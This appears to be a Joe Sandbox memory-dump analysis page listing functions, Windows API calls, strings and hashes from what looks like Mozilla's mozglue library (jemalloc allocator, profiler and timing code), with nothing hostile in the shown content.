Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C997E88
name, xrefs: 6C997ECF, 6C998335
data, xrefs: 6C998280, 6C9983E1
schema, xrefs: 6C9981E3, 6C998311

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

<jemalloc>, xrefs: 6C97D827
: (malloc) Error initializing arena, xrefs: 6C97D82C

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_CRASH(), xrefs: 6C977BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C953508
kernel32.dll, xrefs: 6C9534EA

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

### ERROR: %s: %s, xrefs: 6C9B7087
(null), xrefs: 6C9B706A, 6C9B7083

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

expected a Time entry, xrefs: 6C9A2E36
(root), xrefs: 6C9A354F
ProfileBuffer parse error: %s, xrefs: 6C9A2E3B

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C97C317
MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

-Infinity, xrefs: 6C9B9E60, 6C9B9E7B
NaN, xrefs: 6C9B9EAB

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C95D852
, xrefs: 6C95DA88
9, xrefs: 6C95DE7F
8, xrefs: 6C95DC08
@, xrefs: 6C95DAF6
1, xrefs: 6C95DBDD
0, xrefs: 6C95DC7F
-, xrefs: 6C95D7DD

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C96AB22
1, xrefs: 6C96A824
0, xrefs: 6C96A100
' , xrefs: 6C96A3D8
9, xrefs: 6C96A5D6
@, xrefs: 6C96A625

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
